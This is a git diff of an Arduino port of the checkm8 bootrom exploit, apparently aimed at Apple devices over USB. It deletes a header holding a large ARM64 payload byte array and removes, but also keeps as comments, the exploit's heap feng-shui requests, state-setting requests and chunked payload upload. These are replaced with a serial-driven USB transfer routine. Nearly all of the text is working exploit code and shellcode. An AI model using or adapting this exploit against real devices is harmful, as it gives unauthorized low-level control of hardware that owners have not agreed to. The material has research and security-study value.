diff --git a/checkm8_arduino/include/User_Setup.h b/checkm8_arduino/include/User_Setup.h
index 0c4a1bd..7562785 100644
--- a/checkm8_arduino/include/User_Setup.h
+++ b/checkm8_arduino/include/User_Setup.h
@@ -1,4 +1,5 @@
 #ifndef CHECKM8_ARDUINO_USER_SETUP_H
 #define CHECKM8_ARDUINO_USER_SETUP_H
 
+
 #endif //CHECKM8_ARDUINO_USER_SETUP_H
diff --git a/checkm8_arduino/include/constants.h b/checkm8_arduino/include/constants.h
deleted file mode 100644
index 4009ff7..0000000
--- a/checkm8_arduino/include/constants.h
+++ /dev/null
@@ -1,255 +0,0 @@
-#ifndef CHECKM8_ARDUINO_CONSTANTS_H
-#define CHECKM8_ARDUINO_CONSTANTS_H
-
-const uint8_t payload[] PROGMEM = {
-        0x13, 0x00, 0x80, 0xd2, 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xe0, 0x07, 0x00, 0x58,
-        0x00, 0x04, 0x40, 0xa9, 0x02, 0x06, 0x00, 0x10, 0x43, 0x10, 0x40, 0xa9, 0x03, 0x10, 0x00, 0xa9,
-        0x23, 0x10, 0x00, 0xa9, 0x43, 0x10, 0x41, 0xa9, 0x03, 0x10, 0x01, 0xa9, 0x23, 0x10, 0x01, 0xa9,
-        0x00, 0x07, 0x00, 0x58, 0x00, 0x04, 0x00, 0x91, 0x01, 0x00, 0x40, 0x39, 0xc1, 0xff, 0xff, 0x35,
-        0xa1, 0x05, 0x00, 0x10, 0x22, 0x0c, 0x40, 0xa9, 0x02, 0x0c, 0x00, 0xa9, 0x20, 0x06, 0x00, 0x58,
-        0x41, 0x06, 0x00, 0x58, 0x20, 0x00, 0x3f, 0xd6, 0x41, 0x06, 0x00, 0x58, 0x20, 0x00, 0x00, 0x39,
-        0x40, 0x06, 0x00, 0x58, 0xe1, 0xfc, 0xff, 0x10, 0x42, 0x06, 0x00, 0x58, 0x21, 0x00, 0x02, 0x8b,
-        0x02, 0x00, 0x80, 0xd2, 0x23, 0x06, 0x00, 0x58, 0x44, 0x06, 0x00, 0x58, 0x05, 0x60, 0x00, 0x91,
-        0x85, 0x00, 0x00, 0xf9, 0x23, 0x10, 0x40, 0xa9, 0x03, 0x10, 0x00, 0xa9, 0x23, 0x10, 0x41, 0xa9,
-        0x03, 0x10, 0x01, 0xa9, 0x23, 0x10, 0x42, 0xa9, 0x03, 0x10, 0x02, 0xa9, 0x23, 0x10, 0x43, 0xa9,
-        0x03, 0x10, 0x03, 0xa9, 0x20, 0x7e, 0x0b, 0xd5, 0xbf, 0x3f, 0x03, 0xd5, 0x00, 0x00, 0x01, 0x91,
-        0x21, 0x00, 0x01, 0x91, 0x42, 0x00, 0x01, 0x91, 0x5f, 0x00, 0x03, 0xeb, 0x43, 0xfe, 0xff, 0x54,
-        0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0xfd, 0x7b, 0xc1, 0xa8,
-        0xc0, 0x03, 0x5f, 0xd6, 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, 0xfa, 0x09, 0x04, 0x00,
-        0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, 0x01, 0x0a, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e, 0x44, 0x3a, 0x5b, 0x63, 0x68, 0x65, 0x63, 0x6b,
-        0x6d, 0x38, 0x5d, 0x00, 0x1f, 0x20, 0x03, 0xd5, 0x30, 0x8a, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00,
-        0xf8, 0x3c, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0xd1, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
-        0xda, 0x05, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x0a, 0x80, 0x01, 0x00, 0x00, 0x00,
-        0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x48, 0x8b, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x47, 0x00, 0x00, 0x58, 0xe0, 0x00, 0x1f, 0xd6, 0xb8, 0xdf, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
-        0xfc, 0xff, 0xff, 0x17, 0x20, 0x00, 0x20, 0xd4, 0x02, 0x00, 0x40, 0x79, 0x5f, 0x84, 0x0a, 0x71,
-        0x81, 0xff, 0xff, 0x54, 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xf4, 0x4f, 0xbf, 0xa9,
-        0xf3, 0x03, 0x00, 0xaa, 0xf4, 0x0d, 0x00, 0x58, 0xe1, 0xff, 0x9f, 0x52, 0x62, 0x06, 0x40, 0x79,
-        0x3f, 0x00, 0x02, 0x6b, 0xe1, 0x04, 0x00, 0x54, 0x80, 0x02, 0x40, 0xf9, 0x61, 0x0d, 0x00, 0x58,
-        0x1f, 0x00, 0x01, 0xeb, 0xe1, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, 0x80, 0x0a, 0x40, 0xf9,
-        0x81, 0x0e, 0x40, 0xf9, 0x82, 0x12, 0x40, 0xf9, 0x83, 0x16, 0x40, 0xf9, 0x84, 0x1a, 0x40, 0xf9,
-        0x85, 0x1e, 0x40, 0xf9, 0x86, 0x22, 0x40, 0xf9, 0x87, 0x22, 0x40, 0xf9, 0x88, 0x06, 0x40, 0xf9,
-        0x00, 0x01, 0x3f, 0xd6, 0xe8, 0x0b, 0x00, 0x58, 0x88, 0x02, 0x00, 0xa9, 0x15, 0x00, 0x00, 0x14,
-        0xc1, 0x0b, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb, 0x01, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9,
-        0x80, 0x06, 0x41, 0xa9, 0x82, 0x12, 0x40, 0xf9, 0x32, 0x00, 0x00, 0x94, 0xa8, 0x0a, 0x00, 0x58,
-        0x88, 0x02, 0x00, 0xf9, 0x0b, 0x00, 0x00, 0x14, 0xc1, 0x0a, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb,
-        0x01, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, 0x80, 0x06, 0x41, 0xa9, 0x82, 0x12, 0x40, 0xf9,
-        0x0e, 0x00, 0x00, 0x94, 0x68, 0x09, 0x00, 0x58, 0x88, 0x02, 0x00, 0xf9, 0x01, 0x00, 0x00, 0x14,
-        0x00, 0x10, 0x80, 0x52, 0xe1, 0x03, 0x14, 0xaa, 0x62, 0x0e, 0x40, 0x79, 0x03, 0x00, 0x80, 0xd2,
-        0x44, 0x09, 0x00, 0x58, 0x80, 0x00, 0x3f, 0xd6, 0x00, 0x00, 0x80, 0x52, 0xf4, 0x4f, 0xc1, 0xa8,
-        0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6, 0xe3, 0xc3, 0x00, 0xb2, 0x21, 0x1c, 0x40, 0x92,
-        0x21, 0x7c, 0x03, 0x9b, 0xe3, 0x03, 0x00, 0xaa, 0x5f, 0x20, 0x00, 0xf1, 0xa3, 0x00, 0x00, 0x54,
-        0x01, 0x00, 0x00, 0xf9, 0x00, 0x20, 0x00, 0x91, 0x42, 0x20, 0x00, 0xd1, 0xfb, 0xff, 0xff, 0x17,
-        0x5f, 0x10, 0x00, 0xf1, 0x83, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xb9, 0x00, 0x10, 0x00, 0x91,
-        0x42, 0x10, 0x00, 0xd1, 0x5f, 0x08, 0x00, 0xf1, 0x83, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xb9,
-        0x00, 0x08, 0x00, 0x91, 0x42, 0x08, 0x00, 0xd1, 0x82, 0x00, 0x00, 0xb4, 0x01, 0x00, 0x00, 0xb9,
-        0x00, 0x04, 0x00, 0x91, 0x42, 0x04, 0x00, 0xd1, 0xe0, 0x03, 0x03, 0xaa, 0xc0, 0x03, 0x5f, 0xd6,
-        0xe4, 0x03, 0x00, 0xaa, 0x5f, 0x20, 0x00, 0xf1, 0xe3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0xf9,
-        0x03, 0x00, 0x00, 0xf9, 0x00, 0x20, 0x00, 0x91, 0x21, 0x20, 0x00, 0x91, 0x42, 0x20, 0x00, 0xd1,
-        0xf9, 0xff, 0xff, 0x17, 0x5f, 0x10, 0x00, 0xf1, 0xc3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0xb9,
-        0x03, 0x00, 0x00, 0xb9, 0x00, 0x10, 0x00, 0x91, 0x21, 0x10, 0x00, 0x91, 0x42, 0x10, 0x00, 0xd1,
-        0x5f, 0x08, 0x00, 0xf1, 0xc3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0x79, 0x03, 0x00, 0x00, 0x79,
-        0x00, 0x08, 0x00, 0x91, 0x21, 0x08, 0x00, 0x91, 0x42, 0x08, 0x00, 0xd1, 0xc2, 0x00, 0x00, 0xb4,
-        0x23, 0x00, 0x40, 0x39, 0x03, 0x00, 0x00, 0x39, 0x00, 0x04, 0x00, 0x91, 0x21, 0x04, 0x00, 0x91,
-        0x42, 0x04, 0x00, 0xd1, 0xe0, 0x03, 0x04, 0xaa, 0xc0, 0x03, 0x5f, 0xd6, 0x1f, 0x20, 0x03, 0xd5,
-        0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x63, 0x65, 0x78, 0x65, 0x63, 0x65, 0x78, 0x65,
-        0x65, 0x6e, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x64, 0x63, 0x6d, 0x65, 0x6d, 0x63, 0x6d, 0x65, 0x6d,
-        0x73, 0x6d, 0x65, 0x6d, 0x73, 0x6d, 0x65, 0x6d, 0x98, 0xdc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0xa5, 0x06, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x25, 0x06, 0x00, 0x80, 0x01, 0x00, 0x60, 0x00, 0xa5, 0x06, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
-        0xe1, 0x07, 0x61, 0xb2, 0x22, 0x80, 0x42, 0x91, 0x21, 0x94, 0x18, 0x91, 0x41, 0x00, 0x03, 0xf9,
-        0xbf, 0x3f, 0x03, 0xd5, 0xa0, 0x01, 0x82, 0xd2, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
-        0xdf, 0x3f, 0x03, 0xd5, 0xc0, 0x03, 0x5f, 0xd6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-        0x6c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00,
-};
-
-#endif //CHECKM8_ARDUINO_CONSTANTS_H
diff --git a/checkm8_arduino/src/checkm8_arduino.ino b/checkm8_arduino/src/checkm8_arduino.ino
index 178f570..6d797c4 100644
--- a/checkm8_arduino/src/checkm8_arduino.ino
+++ b/checkm8_arduino/src/checkm8_arduino.ino
@@ -1,196 +1,370 @@
+#include "User_Setup.h"
 #include "Usb.h"
-#include "constants.h"
 #include "checkm8_config.h"
+#include "ard_protocol.h"
+#include <avr/io.h>
 
 USB Usb;
 USB_DEVICE_DESCRIPTOR desc_buf;
-uint8_t io_buf[0x100];
+uint8_t state, rcode, addr = 1;
 
-uint8_t addr = 1;
-EpInfo *pep = NULL;
-uint16_t nak_limit = 0;
-uint8_t rcode;
-uint8_t last_state, state;
-uint8_t pktsize;
-uint16_t sz;
-const uint8_t *p;
-uint16_t part_sz;
+//uint8_t io_buf[0x100];
+//
+//EpInfo *pep = NULL;
+//uint16_t nak_limit = 0;
+//uint8_t pktsize;
+//uint16_t sz;
+//const uint8_t *p;
+//uint16_t part_sz;
 
-enum
+struct serial_desc_args sd_args;
+uint16_t serial_desc_buf[256];
+
+struct usb_xfer_args usb_args;
+uint8_t usb_data_buf[512];
+
+int i;
+char cmd;
+
+//enum
+//{
+//    CHECKM8_INIT_RESET,
+//    CHECKM8_HEAP_FENG_SHUI,
+//    CHECKM8_SET_GLOBAL_STATE,
+//    CHECKM8_HEAP_OCCUPATION,
+//    CHECKM8_END
+//};
+//uint8_t checkm8_state = CHECKM8_INIT_RESET;
+//
+//
+//void heap_feng_shui_req(uint8_t sz)
+//{
+//    rcode = Usb.ctrlReq_SETUP(addr, 0, 0x80, 6, 4, 3, 0x40a, sz);
+//    Usb.regWr(rHCTL, bmRCVTOG1);
+//    rcode = Usb.dispatchPkt(tokIN, 0, 0);
+//}
+//
+//void heap_feng_shui()
+//{
+//    Serial.println("1. heap feng-shui");
+//    heap_feng_shui_req(0xc0);
+//    heap_feng_shui_req(0xc0);
+//    for(int i = 0; i < 6; i++)
+//        heap_feng_shui_req(0xc1);
+//}
+//
+//void set_global_state()
+//{
+//    Serial.println("2. set global state");
+//    rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, 0x800);
+//    rcode = Usb.dispatchPkt(tokOUTHS, 0, 0);
+//    rcode = Usb.ctrlReq(addr, 0, 0x21, 4, 0, 0, 0, 0, 0, NULL, NULL);
+//}
+//
+//void heap_occupation()
+//{
+//    Serial.println("3. heap occupation");
+//
+//    heap_feng_shui_req(0xc1);
+//    heap_feng_shui_req(0xc1);
+//    heap_feng_shui_req(0xc1);
+//
+//    sz = sizeof(overwrite);
+//    p = overwrite;
+//    rcode = Usb.ctrlReq_SETUP(addr, 0, 0, 9, 0, 0, 0, sz);
+//    Usb.regWr(rHCTL, bmSNDTOG0);
+//    send_out(io_buf, 0);
+//    while(sz)
+//    {
+//        pktsize = min(sz, 0x40);
+//        for(int i = 0; i < pktsize; i++)
+//            io_buf[i] = pgm_read_byte(&p[i]);
+//        send_out(io_buf, pktsize);
+//        if(rcode)
+//        {
+//            Serial.println("sending error");
+//            checkm8_state = CHECKM8_END;
+//            return;
+//        }
+//        sz -= pktsize;
+//        p += pktsize;
+//    }
+//
+//    sz = sizeof(payload);
+//    p = payload;
+//
+//    while(sz)
+//    {
+//        part_sz = min(0x7ff, sz);
+//        sz -= part_sz;
+//        rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, part_sz);
+//        Usb.regWr(rHCTL, bmSNDTOG0);
+//        send_out(io_buf, 0);
+//        while(part_sz)
+//        {
+//            pktsize = min(part_sz, 0x40);
+//            for(int i = 0; i < pktsize; i++)
+//                io_buf[i] = pgm_read_byte(&p[i]);
+//            send_out(io_buf, pktsize);
+//            if(rcode)
+//            {
+//                Serial.println("sending error");
+//                checkm8_state = CHECKM8_END;
+//                return;
+//            }
+//            part_sz -= pktsize;
+//            p += pktsize;
+//        }
+//        Serial.print("Payload loading... ");
+//        Serial.print(sizeof(payload) - sz);
+//        Serial.print("/");
+//        Serial.println(sizeof(payload));
+//    }
+//}
+
+void recv_args(uint8_t *target, int len)
 {
-    CHECKM8_INIT_RESET,
-    CHECKM8_HEAP_FENG_SHUI,
-    CHECKM8_SET_GLOBAL_STATE,
-    CHECKM8_HEAP_OCCUPATION,
-    CHECKM8_END
-};
-uint8_t checkm8_state = CHECKM8_INIT_RESET;
+    for(i = 0; i < len; i = i + 1)
+    {
+        while(Serial.available() == 0);
 
-uint8_t send_out(uint8_t *io_buf, uint8_t pktsize)
+        if(target == NULL) Serial.read();
+        else target[i] = (uint8_t) Serial.read();
+    }
+}
+
+uint8_t send_data(uint8_t *buf, uint8_t len)
 {
-    Usb.bytesWr(rSNDFIFO, pktsize, io_buf);
-    Usb.regWr(rSNDBC, pktsize);
+    Usb.bytesWr(rSNDFIFO, len, buf);
+    Usb.regWr(rSNDBC, len);
     Usb.regWr(rHXFR, tokOUT);
     while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ));
     Usb.regWr(rHIRQ, bmHXFRDNIRQ);
     return (Usb.regRd(rHRSL) & 0x0f);
 }
 
-void heap_feng_shui_req(uint8_t sz)
-{
-    rcode = Usb.ctrlReq_SETUP(addr, 0, 0x80, 6, 4, 3, 0x40a, sz);
-    Usb.regWr(rHCTL, bmRCVTOG1);
-    rcode = Usb.dispatchPkt(tokIN, 0, 0);
-}
-
-void heap_feng_shui()
-{
-    Serial.println("1. heap feng-shui");
-    heap_feng_shui_req(0xc0);
-    heap_feng_shui_req(0xc0);
-    for(int i = 0; i < 6; i++)
-        heap_feng_shui_req(0xc1);
-}
-
-void set_global_state()
-{
-    Serial.println("2. set global state");
-    rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, 0x800);
-    rcode = Usb.dispatchPkt(tokOUTHS, 0, 0);
-    rcode = Usb.ctrlReq(addr, 0, 0x21, 4, 0, 0, 0, 0, 0, NULL, NULL);
-}
-
-void heap_occupation()
-{
-    Serial.println("3. heap occupation");
-
-    heap_feng_shui_req(0xc1);
-    heap_feng_shui_req(0xc1);
-    heap_feng_shui_req(0xc1);
-
-    sz = sizeof(overwrite);
-    p = overwrite;
-    rcode = Usb.ctrlReq_SETUP(addr, 0, 0, 9, 0, 0, 0, sz);
-    Usb.regWr(rHCTL, bmSNDTOG0);
-    send_out(io_buf, 0);
-    while(sz)
-    {
-        pktsize = min(sz, 0x40);
-        for(int i = 0; i < pktsize; i++)
-            io_buf[i] = pgm_read_byte(&p[i]);
-        send_out(io_buf, pktsize);
-        if(rcode)
-        {
-            Serial.println("sending error");
-            checkm8_state = CHECKM8_END;
-            return;
-        }
-        sz -= pktsize;
-        p += pktsize;
-    }
-
-    sz = sizeof(payload);
-    p = payload;
-
-    while(sz)
-    {
-        part_sz = min(0x7ff, sz);
-        sz -= part_sz;
-        rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, part_sz);
-        Usb.regWr(rHCTL, bmSNDTOG0);
-        send_out(io_buf, 0);
-        while(part_sz)
-        {
-            pktsize = min(part_sz, 0x40);
-            for(int i = 0; i < pktsize; i++)
-                io_buf[i] = pgm_read_byte(&p[i]);
-            send_out(io_buf, pktsize);
-            if(rcode)
-            {
-                Serial.println("sending error");
-                checkm8_state = CHECKM8_END;
-                return;
-            }
-            part_sz -= pktsize;
-            p += pktsize;
-        }
-        Serial.print("Payload loading... ");
-        Serial.print(sizeof(payload) - sz);
-        Serial.print("/");
-        Serial.println(sizeof(payload));
-    }
-}
-
